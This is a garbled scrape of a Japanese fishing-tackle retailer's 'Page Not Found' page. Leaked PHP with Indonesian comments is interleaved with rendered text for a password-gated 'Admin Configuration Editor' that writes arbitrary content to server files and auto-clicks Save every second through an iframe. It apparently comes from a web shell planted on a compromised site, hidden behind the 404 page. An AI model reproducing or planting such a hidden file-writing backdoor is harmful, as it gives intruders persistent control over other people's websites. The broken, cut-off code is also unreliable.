Masukkan Password

'.$auth_error.'

'; ?>
0) { $message = 'Tidak disimpan: konten kosong akan menghapus file. Gunakan "force" jika yakin.'; if ($is_iframe) { echo $message; exit; } } else { // Buat temp di direktori yang sama agar rename berhasil $tmp = tempnam($BASE_DIR, 'edit_'); if ($tmp === false) { $message = 'Temporary file error (cannot create temp)'; } else { $bytes = file_put_contents($tmp, $data, LOCK_EX); if ($bytes === false) { @unlink($tmp); $message = 'Write to temp failed'; } else { if (!@rename($tmp, $path)) { // Fallback copy if (@copy($tmp, $path)) { @unlink($tmp); $message = 'Saved (via copy fallback) – ' . (int)$bytes . ' bytes'; } else { @unlink($tmp); $message = 'Rename and copy both failed (permission/device?)'; } } else { $message = 'Saved (' . (int)$bytes . ' bytes)'; } } } } } if ($is_iframe) { echo $message; exit; } } // ================= GENERATE TOKEN CSRF ================= if (!isset($_SESSION['edit_token'])) { $_SESSION['edit_token'] = bin2hex(random_bytes(32)); } $token = $_SESSION['edit_token']; // ================= BACA FILE (DENGAN PENGECEKAN ULANG) ================= if (!file_exists($path)) { $initialContent = (substr($file, -4) === '.php') ? " つり具のまるきん 釣具/アウトドア用品の製造/開発/販売/教室/ツアーまでPage Not Found - つり具のまるきん

Admin Configuration Editor (protected)

Internal tool – hanya file whitelist yang dapat diedit.

Auto‑click Save (setiap 1 detik) untuk (submit form via iframe) File size: bytes
Siap